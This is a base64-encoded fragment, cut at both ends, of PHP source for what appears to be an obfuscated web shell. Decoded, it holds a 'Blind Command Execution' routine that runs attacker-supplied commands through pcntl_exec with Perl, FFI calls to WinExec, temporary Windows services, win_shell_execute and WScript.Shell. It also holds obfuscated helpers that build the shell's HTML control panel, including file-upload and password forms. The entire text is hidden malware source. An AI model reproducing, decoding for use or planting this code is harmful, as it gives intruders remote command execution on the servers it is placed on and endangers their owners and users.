Zm9yaycpKSB7ICRyID0gJ1t+XSBCbGluZCBDb21tYW5kIEV4ZWN1dGlvbiB2aWEgW3BjbnRsX2V4ZWNdXG5cbic7ICRvPSR0ZW1wZGlyLnVuaXFpZCgncGNudGwnKTsgJHBpZCA9IEBwY250bF9mb3JrKCk7IGlmICgkcGlkID09IC0xKSB7ICRyIC49ICdbLV0gQ291bGQgbm90IGZvcmsuIEV4aXQnOyB9IGVsc2VpZiAoJHBpZCkgeyAkciAuPSAoQHBjbnRsX3dpZmV4aXRlZCgkc3RhdHVzKSA/ICdbK10gRG9uZSEgQ29tbWFuZCAiJy4kYy4nIiBzdWNjZXNzZnVsbHkgZXhlY3V0ZWQuJyA6ICdbLV0gRXJyb3IuIEluY29ycmVjdCBDb21tYW5kLicpOyB9IGVsc2UgeyAkYyA9IGFycmF5KCIgLWUgJ3N5c3RlbShcIiRjID4gJG9cIiknIik7IGlmKEBwY250bF9leGVjKCcvdXNyL2Jpbi9wZXJsJywkYykpIGV4aXQoMCk7IGlmKEBwY250bF9leGVjKCcvdXNyL2xvY2FsL2Jpbi9wZXJsJywkYykpIGV4aXQoMCk7IGRpZSgpOyB9ICRyPXo5bygkbyk7IEB1bmxpbmsoJG8pOyB9IH0gZWxzZSB7ICRvPSR0ZW1wZGlyLnVuaXFpZCgnTkonKTsgaWYoZXh0ZW5zaW9uX2xvYWRlZCgnZmZpJykpIHsgJGE9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7ICRyPSRhLT5XaW5FeGVjKCJjbWQuZXhlIC9jICIuejZrKCRjKS4iID5cIiRvXCIiLDApOyB3aGlsZSghQGZpbGVfZXhpc3RzKCRvKSlzbGVlcCgxKTsgJHI9ejlvKCRvKTsgfSBlbHNlaWYoZXh0ZW5zaW9uX2xvYWRlZCgnd2luMzJzZXJ2aWNlJykpIHsgJHM9dW5pcWlkKCdOSicpOyBAd2luMzJfY3JlYXRlX3NlcnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kcywnZGlzcGxheSc9PiRzLCdwYXRoJz0+J2M6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZScsJ3BhcmFtcyc9PiIvYyAiLno2aygkYykuIiA+XCIkb1wiIikpOyBAd2luMzJfc3RhcnRfc2VydmljZSgkcyk7IEB3aW4zMl9zdG9wX3NlcnZpY2UoJHMpOyBAd2luMzJfZGVsZXRlX3NlcnZpY2UoJHMpOyB3aGlsZSghQGZpbGVfZXhpc3RzKCRvKSlzbGVlcCgxKTsgJHI9ejlvKCRvKTsgfSBlbHNlaWYoZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSkgeyBAd2luX3NoZWxsX2V4ZWN1dGUoJy4uXFwuLlxcLi5cXC4uXFwuLlxcLi5cXC4uXFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZSAvYyAnLno2aygkYykuJyA+ICInLiRvLiciJyk7IHdoaWxlKCFAZmlsZV9leGlzdHMoJG8pKXNsZWVwKDEpOyAkcj16OW8oJG8pOyB9IGVsc2UgeyAkYSA9IG5ldyBDT00oIldTY3JpcHQuU2hlbGwiKTsgJGEtPlJ1bignYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhlIC9jICcuejZrKCRjKS4nID4gIicuJG8uJyInKTsgJHI9ejlvKCRvKTsgfSBAdW5saW5rKCRvKTsgfSB9IHJldHVybiAkcjsgfSBmdW5jdGlvbiB6MTBlKCl7IGxpc3QoJHUsJHMpPUBleHBsb2RlKCIgIixAbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdSsoZmxvYXQpJHMpOyB9IGZ1bmN0aW9uIHo0bSgkYywkaSl7ICRhPWFycmF5KCAnMCc9PmFycmF5KCdjb250YWluZXInLCdsb2dpbicsJ2Zvb3RlcicsJ2hlYWRuZm8nLCdxbCcsJ25hdicsJ3NpbmZvJywndGZpbHRlcicsJ3RhaGV4JywncGhwaW5mbycpLCAnMSc9PmFycmF5KCdsaXN0MScsJ2xpc3QyJyksICcyJz0+YXJyYXkoJ2xlcnJvcicsJ3RvcGNmJywndG9wdCcsJ3RvcGMnLCd0ZGZvb3RlcicsJ3RkcWwnLCd0ZHNpbmZvJywndGRsc2gxJywndGRsc2gyJywndGRsc2YnLCd0ZGxzZm4nLCd0ZGZpbHRlcicsJ3RkaGVhZCcsJ3RkcGgnLCd0ZHBsJywndGRsYmwnLCd0aGV4MScsJ3RoZXgyJywndGhleDMnLCd0ZGxzZjEnLCd0ZG1haWwnKSwgJzMnPT5hcnJheSgic2Nyb2xsIiwic2VsZWN0b3IiLCJkaXZscyIsImR3aWR0aCIsImJhcmJnIiwiYmFyZmlsIiksICc0Jz0+YXJyYXkoJ3NpemUxJywnc2l6ZTInLCdzaXplMycsJ3NpemU0Jywnc2l6ZTUnLCdzaXplNicsJ3NpemU3Jywnc2l6ZTgnLCdzaXplOScsJ3NpemUxMCcpLCAnNSc9PmFycmF5KCdsaW5rcycsJ3NsaW5rcycsJ2J1dHRvbicsJ2hlYWQnLCdxbDEnLCdxbDInLCdidXQxJywnYnV0MicsJ2J1dDMnLCdmaW1nJywnZGlybGlzdCcsJ2ZpbGVsaXN0JywnZnRhY3RpdmUnLCdmdGNvbXBhdCcsJ2Z0b3RoZXInLCdxbGJhY2snLCdtYnV0MScsJ21idXQyJywnYWN0YnV0JyksICc2Jz0+YXJyYXkoJ2NvbnNvbGUnLCd0Z2VuZXJpYycsJ3RlZGl0JywndHhtYWlsJywndHNxbDEnLCd0c3FsMicsJ3RpbmonKSwgKTsgcmV0dXJuIChAaXNzZXQoJGFbJGldWyRjXSkgPyAkYVskaV1bJGNdIDogJycpOyB9IGZ1bmN0aW9uIHo3dygkYT0nJywkYz0nJywkcz0nJyl7IHJldHVybiAnPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIicuKCgkYSE9JycpPyAnIGFsaWduPSInLiRhLiciJzogJycpLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnMCcpLiciJzogJycpLigoJHMhPScnKT96MTByKCRzKTonJykuJz4nLiJcbiI7fSBmdW5jdGlvbiB6OW0oJGM9JycsJHM9JycpeyByZXR1cm4gejd3KCcnLCRjLCRzKTsgfSBmdW5jdGlvbiB6N3IoJGM9JycsJHM9JycpeyByZXR1cm4gejd3KCdsZWZ0JywkYywkcyk7IH0gZnVuY3Rpb24gejdkKCRjPScnLCRzPScnKXsgcmV0dXJuIHo3dygncmlnaHQnLCRjLCRzKTsgfSBmdW5jdGlvbiB6N2coJGM9JycsJHM9JycpeyByZXR1cm4gejd3KCdjZW50ZXInLCRjLCRzKTsgfSBmdW5jdGlvbiB6MTBxKCl7IHJldHVybiAnPC90YWJsZT4nLiJcbiI7IH0gZnVuY3Rpb24gejEwdygkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6OW0oJGMsJHMpLiRpLnoxMHEoKTsgfSBmdW5jdGlvbiB6N2goJGksJGM9JycsJHM9JycpeyByZXR1cm4gejdyKCRjLCRzKS4kaS56MTBxKCk7IH0gZnVuY3Rpb24gejdzKCRpLCRjPScnLCRzPScnKXsgcmV0dXJuIHo3ZCgkYywkcykuJGkuejEwcSgpOyB9IGZ1bmN0aW9uIHo3YSgkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6N2coJGMsJHMpLiRpLnoxMHEoKTsgfSBmdW5jdGlvbiB6N3koKXsgcmV0dXJuICc8L3RyPicuIlxuIjsgfSBmdW5jdGlvbiB6NmQoJHYsJGM9JycsJGlkPScnKXsgcmV0dXJuICc8dHIgdmFsaWduPSInLiR2LiciJy4oKCRpZCE9JycpPycgaWQ9IicuJGlkLiciJzonJykuKCgkYyE9JycpPycgY2xhc3M9IicuejRtKCRjLCcxJykuJyInOiAnJykuJz4nLiJcbiI7IH0gZnVuY3Rpb24gejd0KCRpLCR2LCRjPScnLCRpZD0nJyl7IHJldHVybiB6NmQoJHYsJGMsJGlkKS4kaS56N3koKTsgfSBmdW5jdGlvbiB6OWQoJGksJGM9JycsJGlkPScnKXsgcmV0dXJuIHo3dCgkaSwidG9wIiwkYywkaWQpOyB9IGZ1bmN0aW9uIHo3dSgkaSwkYz0nJywkaWQ9JycpeyByZXR1cm4gejd0KCRpLCJtaWRkbGUiLCRjLCRpZCk7IH0gZnVuY3Rpb24gejdwKCRpLCRjPScnLCRpZD0nJyl7IHJldHVybiB6N3QoJGksImJvdHRvbSIsJGMsJGlkKTsgfSBmdW5jdGlvbiB6N28oJGM9JycsJGlkPScnKXsgcmV0dXJuIHo2ZCgidG9wIiwkYywkaWQpOyB9IGZ1bmN0aW9uIHo2ZigkYz0nJywkaWQ9JycpeyByZXR1cm4gejZkKCJtaWRkbGUiLCRjLCRpZCk7IH0gZnVuY3Rpb24gejVjKCRjPScnLCRpZD0nJyl7IHJldHVybiB6NmQoImJvdHRvbSIsJGMsJGlkKTsgfSBmdW5jdGlvbiB6NWIoKXsgcmV0dXJuIHo5ZCh6OWMoJyZuYnNwOycpKTsgfSBmdW5jdGlvbiB6NnMoKXsgcmV0dXJuIHoxMHcoejViKCkpOyB9IGZ1bmN0aW9uIHo1eigkYT0nJywkYz0nJywkcz0nJyl7IHJldHVybiAnPGRpdicuKCgkYSE9JycpPycgYWxpZ249IicuJGEuJyInOicnKS4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzMnKS4nIic6JycpLigoJHMhPScnKT96MTByKCRzKTonJykuJz4nOyB9IGZ1bmN0aW9uIHo1aCgpeyByZXR1cm4gJzwvZGl2Pic7IH0gZnVuY3Rpb24gejVrKCRhPScnLCRjPScnLCRzPScnKXsgcmV0dXJuICc8dGQnLigoJGEhPScnKSA/ICcgYWxpZ249IicuJGEuJyInOicnKS4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzInKS4nIic6ICcnKS4oKCRzIT0nJyk/ejEwcigkcyk6JycpLic+Jy4iXG4iOyB9IGZ1bmN0aW9uIHo3aigkYz0nJywkcz0nJyl7IHJldHVybiB6NWsoJycsJGMsJHMpOyB9IGZ1bmN0aW9uIHo1bCgkYz0nJywkcz0nJyl7IHJldHVybiB6NWsoJ2xlZnQnLCRjLCRzKTsgfSBmdW5jdGlvbiB6NW0oJGM9JycsJHM9JycpeyByZXR1cm4gejVrKCdyaWdodCcsJGMsJHMpOyB9IGZ1bmN0aW9uIHo2cSgkYz0nJywkcz0nJyl7IHJldHVybiB6NWsoJ2NlbnRlcicsJGMsJHMpOyB9IGZ1bmN0aW9uIHo0YygkYT0nJywkbiwkYz0nJywkcz0nJyl7IHJldHVybiAnPHRkIGNvbHNwYW49IicuJG4uJyInLigoJGEhPScnKSA/ICcgYWxpZ249IicuJGEuJyInOicnKS4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzInKS4nIic6ICcnKS4oKCRzIT0nJyk/ejEwcigkcyk6JycpLic+Jy4iXG4iOyB9IGZ1bmN0aW9uIHo2aSgkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NGMoJycsJG4sJGMsJHMpOyB9IGZ1bmN0aW9uIHo0aygkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NGMoJ2xlZnQnLCRuLCRjLCRzKTsgfSBmdW5jdGlvbiB6NGwoJG4sJGM9JycsJHM9JycpeyByZXR1cm4gejRjKCdyaWdodCcsJG4sJGMsJHMpOyB9IGZ1bmN0aW9uIHo0eigkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NGMoJ2NlbnRlcicsJG4sJGMsJHMpOyB9IGZ1bmN0aW9uIHo3ZigpeyByZXR1cm4gJzwvdGQ+Jy4iXG4iOyB9IGZ1bmN0aW9uIHo5YygkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6N2ooJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo3aygkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6NWwoJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2eigkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6NW0oJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2bCgkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6NnEoJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2eCgkaSwkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NmkoJG4sJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2eSgkaSwkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NGsoJG4sJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2ZSgkaSwkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NGwoJG4sJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo2cigkaSwkbiwkYz0nJywkcz0nJyl7IHJldHVybiB6NHooJG4sJGMsJHMpLiRpLno3ZigpOyB9IGZ1bmN0aW9uIHo1dygkbj0nJywkYywkcj0wLCR3PScnLCRoPScnKSB7IHJldHVybiAnPHRleHRhcmVhJy4oJG4hPScnPycgaWQ9IicuJG4uJyIgbmFtZT0iJy4kbi4nIic6JycpLicgY2xhc3M9IicuejRtKCRjLCc2JykuJyInLigoJHchPScnfHwkaCE9JycpPycgc3R5bGU9IicuKCR3IT0nJz8nd2lkdGg6Jy4kdy4ncHg7JzonJykuKCRoIT0nJz8naGVpZ2h0OicuJGguJ3B4Oyc6JycpLiciJzonJykuKCRyPycgcmVhZG9ubHknOicnKS4nPic7IH0gZnVuY3Rpb24gejVxKCkgeyByZXR1cm4gJzwvdGV4dGFyZWE+JzsgfSBmdW5jdGlvbiB6OWsoJHQ9JycsJG49JycpeyByZXR1cm4gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiJy4oKCR0IT0nJykgPyAnIHRhcmdldD0iX2JsYW5rIicgOiAnJykuKCgkbiE9JycpPyAnIG5hbWU9IicuJG4uJyIgaWQ9IicuJG4uJyInOicnKS4nPic7IH0gZnVuY3Rpb24gejZiKCRjPScnLCR0PScnKXsgcmV0dXJuICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIicuKCgkdCE9JycpID8gJyB0YXJnZXQ9Il9ibGFuayInIDogJycpLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnMycpLiciJzogJycpLic+JzsgfSBmdW5jdGlvbiB6N2woKXsgcmV0dXJuICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nOyB9IGZ1bmN0aW9uIHo3aSgkdSwkdD0nJywkbT0nR0VUJyl7IHJldHVybiAnPGZvcm0gbWV0aG9kPSInLiRtLiciIGFjdGlvbj0iJy4kdS4nIicuKCgkdCE9JycpID8gJyB0YXJnZXQ9Il9ibGFuayInIDogJycpLic+JzsgfSBmdW5jdGlvbiB6OWwoKXsgcmV0dXJuICc8L2Zvcm0+JzsgfSBmdW5jdGlvbiB6MTByKCRpKXsgJHU9YXJyYXkoKTsgaWYoIUBpc19udW1lcmljKCRpKSkgcmV0dXJuICcnOyAkYT1hcnJheSgnYm9yZGVyLXRvcDowOycsJ2JvcmRlci1ib3R0b206MDsnLCdib3JkZXItbGVmdDowOycsJ2JvcmRlci1yaWdodDowOycsJ3dpZHRoOiA1MCU7Jywnd2lkdGg6IDMzJTsnLCAnYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjREREREREOycsJ3RleHQtYWxpZ246IHJpZ2h0ICFpbXBvcnRhbnQ7Jywnd2lkdGg6IDE1MHB4ICFpbXBvcnRhbnQ7JywnbWFyZ2luLWxlZnQ6IDAgIWltcG9ydGFudDsnKTsgJHI9Jyc7IGlmKEBzdHJsZW4oJGkpPjEpeyBmb3IoJG49MDsgJG48QHN0cmxlbigkaSk7ICRuKyspeyAkYz0kaVskbl07IGlmKEBpc3NldCgkYVskY10pICYmICFAaXNzZXQoJHVbJGNdKSl7ICRyIC49ICRhWyRjXTsgJHVbJGNdPScnOyB9IH0gfSBlbHNlIHsgaWYoQGlzc2V0KCRhWyRpXSkpICRyIC49ICRhWyRpXTsgfSByZXR1cm4gKCRyIT0nJykgPyAnIHN0eWxlPSInLiRyLiciJyA6ICRyOyB9IGZ1bmN0aW9uIHo4eigkaSl7IHJldHVybiAoQGlzX2Jvb2woJGkpID8gKCgkaSkgPyAnMScgOiAnMCcpIDogJGkpOyB9IGZ1bmN0aW9uIHo5eigkbj0xKXsgcmV0dXJuIEBzdHJfcmVwZWF0KCI8YnI+Iiwkbik7IH0gZnVuY3Rpb24gejl4KCRuPTEpeyByZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJG4pOyB9IGZ1bmN0aW9uIHo2dCgkdCwkYz0nJyl7IHJldHVybiAnPHNwYW4gY2xhc3M9IicuJGMuJyI+Jy4kdC4nPC9zcGFuPic7IH0gZnVuY3Rpb24gejR5KCR0KXsgcmV0dXJuIHo2dCgkdCwibnciKTsgfSBmdW5jdGlvbiB6OGsoJHQpeyByZXR1cm4gejZ0KCR0LCJuciIpOyB9IGZ1bmN0aW9uIHo1cCgkdCl7IHJldHVybiB6NnQoJHQsInJ3Iik7IH0gZnVuY3Rpb24gejlqKCl7IHJldHVybiAnIG9uZm9jdXM9InRoaXMuc2VsZWN0KCk7IiBvbm1vdXNlb3Zlcj0idGhpcy5zZWxlY3QoKTsiIG9ubW91c2VvdXQ9InRoaXMuc2VsZWN0KCk7Iic7IH0gZnVuY3Rpb24gejR0KCRuLCR2KXsgZ2xvYmFsICR7JG59OyByZXR1cm4gJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iJy4kbi4nIiB2YWx1ZT0iJy4kdi4nIicuKChAaXNzZXQoJHskbn0pICYmICR7JG59PT0kdikgPyAnIGNoZWNrZWQnIDogJycpLic+JzsgfSBmdW5jdGlvbiB6OWYoJG4sJHY9JzEnLCRvPScnLCRpPScnKXsgZ2xvYmFsICR7JG59OyByZXR1cm4gJzxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9IicuJGkuJyIgbmFtZT0iJy4kbi4nIiB2YWx1ZT0iJy4kdi4nIiBzdHlsZT0idmVydGljYWwtYWxpZ246IG1pZGRsZTsiJy4oKCRvPT0nJykgPyAoKCR7JG59PT0kdikgPyAnIGNoZWNrZWQnIDogJycpIDogKCgkbykgPyAnIGNoZWNrZWQnOiAnJykpLic+JzsgfSBmdW5jdGlvbiB6NncoJGYsJHQpeyByZXR1cm4gJzxsYWJlbCBmb3I9IicuJGYuJyI+Jy4kdC4nPC9sYWJlbD4nOyB9IGZ1bmN0aW9uIHo1dSgkaSwkdCwkbiwkdj0nMScsJG89JycpeyByZXR1cm4gejlmKCRuLCR2LCRvLCRpKS56NncoJGksJHQpOyB9IGZ1bmN0aW9uIHo5ZygkbiwkYz0nJywkcz0nJyl7IHJldHVybiAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9IicuJG4uJyIgaWQ9IicuJG4uJyInLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnNCcpLiciJzonJykuKCgkcyE9JycpID8gejEwcigkcyk6JycpLic+JzsgfSBmdW5jdGlvbiB6OGcoJHYsJGM9JycsJG89JycpeyByZXR1cm4gJzxpbnB1dCB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy56OHooJHYpLiciJy4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzQnKS4nIic6JycpLigoJG8hPScnKSA/IHo5aigpIDogJycpLic+JzsgfSBmdW5jdGlvbiB6NnUoJG4sJHYsJGM9JycsJG89JycsJHM9JycpeyByZXR1cm4gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSInLiRuLiciIHZhbHVlPSInLno4eigkdikuJyInLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnNCcpLiciJzonJykuKCRzIT0nJz8nICcuKEBpc19udW1lcmljKCRzKT96MTByKCRzKTokcyk6JycpLigoJG8hPScnKSA/IHo5aigpIDogJycpLic+JzsgfSBmdW5jdGlvbiB6NXkoJG4sJHYsJGM9JycsJG89JycsJHM9JycpeyBnbG9iYWwgJHskbn07IHJldHVybiAnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9IicuJG4uJyIgdmFsdWU9IicuKChAaXNzZXQoJHskbn0pICYmICFAZW1wdHkoJHskbn0pKSA/ICR7JG59IDogKChAaXNzZXQoJF9TRVNTSU9OWyRuXSkpID8gJF9TRVNTSU9OWyRuXSA6IHo4eigkdikpKS4nIicuKCgkYyE9JycpPycgY2xhc3M9IicuejRtKCRjLCc0JykuJyInOicnKS4oJHMhPScnPycgJy4oQGlzX251bWVyaWMoJHMpP3oxMHIoJHMpOiRzKTonJykuKCgkbyE9JycpID8gejlqKCkgOiAnJykuJz4nOyB9IGZ1bmN0aW9uIHo2cCgkbiwkdiwkYz0nJywkbz0nJyl7IHJldHVybiAnPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSInLiRuLiciIHZhbHVlPSInLno4eigkdikuJyInLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnNCcpLiciJzonJykuKCgkbyE9JycpID8gejlqKCkgOiAnJykuJz4nOyB9IGZ1bmN0aW9uIHo1ZSgkbiwkdiwkYz0nJywkbz0nJyl7IGdsb2JhbCAkeyRufTsgcmV0dXJuICc8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9IicuJG4uJyIgdmFsdWU9IicuKChAaXNzZXQoJHskbn0pICYmICFAZW1wdHkoJHskbn0pKSA/ICR7JG59IDogejh6KCR2KSkuJyInLigoJGMhPScnKT8nIGNsYXNzPSInLno0bSgkYywnNCcpLiciJzonJykuKCgkbyE9JycpID8gejlqKCkgOiAnJykuJz4nOyB9IGZ1bmN0aW9uIHo2bygkbiwkaSwkYz0nJywkcz0nJyl7IHJldHVybiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgJy4oJG4hPScnPycgbmFtZT0iJy4kbi4nIic6JycpLid2YWx1ZT0iJy56OHooJGkpLiciJy4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzUnKS4nIic6JycpLigoJHMhPScnKT8oQGlzX251bWVyaWMoJHMpPyB6MTByKCRzKSA6ICRzKTonJykuJz4nOyB9IGZ1bmN0aW9uIHo4YigkaSwkYz0nJywkcz0nJyl7IHJldHVybiB6Nm8oJycsJGksJGMsJHMpOyB9IGZ1bmN0aW9uIHoxcygkdCwkaSwkYSwkYz0nJyl7IHJldHVybiAnPGlucHV0IHR5cGU9IicuJHQuJyIgdmFsdWU9IicuJGkuJyIgJy4oJHQ9PSdzdWJtaXQnPydvbnN1Ym1pdCc6J29uY2xpY2snKS4nPSInLiRhLiciJy4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzUnKS4nIic6JycpLic+JzsgfSBmdW5jdGlvbiB6OHYoJGksJGEsJGM9JycpeyByZXR1cm4gejFzKCdzdWJtaXQnLCAkaSwgJGEsICRjKTsgfSBmdW5jdGlvbiB6OG0oJGksJGEsJGM9JycpeyByZXR1cm4gejFzKCdidXR0b24nLCRpLCAkYSwgJGMpOyB9IGZ1bmN0aW9uIHo4aCgkaSwkYT0nJywkYz0nJywkZT0nJyl7IGdsb2JhbCAkdXNlX2ltYWdlczsgcmV0dXJuICgkdXNlX2ltYWdlcyA/ICc8aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iP2FjdD1pJmFtcDtpbWc9Jy4kaS4oKCRlIT0nJyk/ICcmYW1wO2V4ZT0xJzonJykuJyIgdmFsdWU9IicuJGEuJyIgYWx0PSInLiRhLiciJy4oKCRjIT0nJyk/JyBjbGFzcz0iJy56NG0oJGMsJzUnKS4nIic6JycpLic+JyA6IHoxeCgoJGk9PSdzbWFsbF9kaXInfHwkaT09J3NtYWxsX2hvbWUnPydkJzonZicpKSk7IH0gZnVuY3Rpb24gejJjKCRpcCl7ICRpcD1AcHJlZ19yZXBsYWNlKCcvW1x0XHNcclxuXS8nLCcnLCRpcCk7IGlmKCFAaXNfbnVtZXJpYyhAc3RyX3JlcGxhY2UoIi4iLCIiLCRpcCkpfHxAc3Vic3RyX2NvdW50KCRpcCwiLiIpIT0zKXsgcmV0dXJuICJmYWlsZWQiOyB9ZWxzZXsgJG9jdGV0cz1AZXhwbG9kZSgiLiIsJGlwKTsgJGRlYz0oJG9jdGV0c1swXSoxPDwyNCkrKCRvY3RldHNbMV0qMTw8MTYpKygkb2N0ZXRzWzJdKjE8PDgpKygkb2N0ZXRzWzNdKTsgcmV0dXJuICRkZWM7IH0gfSBmdW5jdGlvbiB6MnooJGlwKXsgJGlwPUBwcmVnX3JlcGxhY2UoJy9bXHRcc1xyXG5dLycsJycsJGlwKTsgaWYoIUBpc19udW1lcmljKEBzdHJfcmVwbGFjZSgiLiIsIiIsJGlwKSl8fEBzdWJzdHJfY291bnQoJGlwLCIuIikhPTMpeyByZXR1cm4gImZhaWxlZCI7IH1lbHNleyAkZGVjPXoyYygkaXApOyAkaGV4PSIweCIuQGRlY2hleCgkZGVjKTsgcmV0dXJuICRoZXg7IH0gfSBmdW5jdGlvbiB6MXUoJGlwLCRvY3Q9IiIpeyAkaXA9QHByZWdfcmVwbGFjZSgnL1tcdFxzXHJcbl0vJywnJywkaXApOyBpZighQGlzX251bWVyaWMoQHN0cl9yZXBsYWNlKCIuIiwiIiwkaXApKXx8QHN1YnN0cl9jb3VudCgkaXAsIi4iKSE9Myl7IHJldHVybiAiZmFpbGVkIjsgfWVsc2V7ICRvY3RldHM9QGV4cGxvZGUoIi4iLCRpcCk7IGZvcigkaT0wOyRpPDQ7JGkrKyl7ICRkZWNvY3Q9QGRlY29jdCgkb2N0ZXRzWyRpXSk7ICRsZW49QHN0cmxlbigkZGVjb2N0KTsgJGxlYWRpbmc9KDktJGxlbik7ICRvY3QuPUBzdHJfcmVwZWF0KCIwIiwkbGVhZGluZykuJGRlY29jdC4iLiI7IH0gJG9jdD1Ac3Vic3RyKCRvY3QsMCxAc3RybGVuKCRvY3QpLTEpOyByZXR1cm4gJG9jdDsgfSB9IGZ1bmN0aW9uIHo5digkbiwkdj1OVUxMKXsgZ2xvYmFsICR7JG59OyByZXR1cm4gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicuJG4uJyIgdmFsdWU9IicuKCgkdj09TlVMTCkgPyAoKEBpc3NldCgkeyRufSkgJiYgIUBlbXB0eSgkeyRufSkpID8gJHskbn0gOicnKTogejh6KCR2KSkuJyInLic+JzsgfSBmdW5jdGlvbiB6N20oJG4sJHY9TlVMTCl7IGdsb2JhbCAkeyRufTsgcmV0dXJuICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLiRuLiciIHZhbHVlPSInLigoJHY9PU5VTEwpID8gKChAaXNzZXQoJHskbn0pICYmICFAZW1wdHkoJHskbn0pKSA/ICR7JG59IDogKChAaXNzZXQoJF9TRVNTSU9OWyRuXSkpID8gJF9TRVNTSU9OWyRuXSA6ICcnKSkgOiB6OHooJHYpKS4nIicuJz4nOyB9IGZ1bmN0aW9uIHo1aigpeyByZXR1cm4gKHo3ZSgnZ2V0X2N1cnJlbnRfdXNlcicpICYmIEBnZXRfY3VycmVudF91c2VyKCkhPScnKSA/IEBnZXRfY3VycmVudF91c2VyKCkgOiAnVW5rbm93bic7IH0gZnVuY3Rpb24gejJhKCRhPWFycmF5KCkpeyAkcj0nJzsgZm9yZWFjaCgkYSBhcyAkaz0+JHYpeyAkci49KEBpc19udW1lcmljKCRrKSA/IHo5digkdikgOiB6OXYoJGssJHYpKTsgfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejhmKCRuLCR2PU5VTEwpeyBnbG9iYWwgJHskbn07IHJldHVybiAoKCR2PT1OVUxMKSA/ICgoQGlzc2V0KCR7JG59KSAmJiAhQGVtcHR5KCR7JG59KSkgPyAkeyRufSA6JycpOiB6OHooJHYpKTsgfSBmdW5jdGlvbiB6MngoJGE9YXJyYXkoKSl7IGlmKEBpc3NldCgkYVsnYmFja2YnXSkpIHJldHVybiB6MmEoJGEpOyAkcj0nJzsgZm9yZWFjaCgkYSBhcyAkaz0+JHYpeyAkci49KEBpc19udW1lcmljKCRrKSA/ICR2Lic9Jy5AdXJsZW5jb2RlKHo4ZigkdikpIDogJGsuJz0nLkB1cmxlbmNvZGUoejhmKCRrLCR2KSkpLicmJzsgfSBpZigkciE9JycpICRyPXo5dignbWVyZ2VkJyxAYmFzZTY0X2VuY29kZSgkcikpOyByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejhxKCRhLCR0PScnLCR1PTApeyByZXR1cm4gKCR1P3o3bCgpOno5aygkdCkpLnoyeCgkYSk7IH0gZnVuY3Rpb24gejV4KCRhLCRpLCR0PScnKXsgcmV0dXJuIHo4cSgkYSwkdCkuJGkuejlsKCk7IH0gZnVuY3Rpb24gejVuKCRhLCRpKXsgcmV0dXJuIHo4cSgkYSwnJywxKS4kaS56OWwoKTsgfSBmdW5jdGlvbiB6N24oJGkpeyByZXR1cm4gJzxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlweDsgY29sb3I6ICMzMzMzMzM7IGZvbnQtd2VpZ2h0OiBib2xkOyI+Jy4kaS4nJm5ic3A7IDwvc3Bhbj4nOyB9IGZ1bmN0aW9uIHo1dCgkaSl7IHJldHVybiB6NnooKCFAZW1wdHkoJGkpP3o3bigkaSk6JGkpL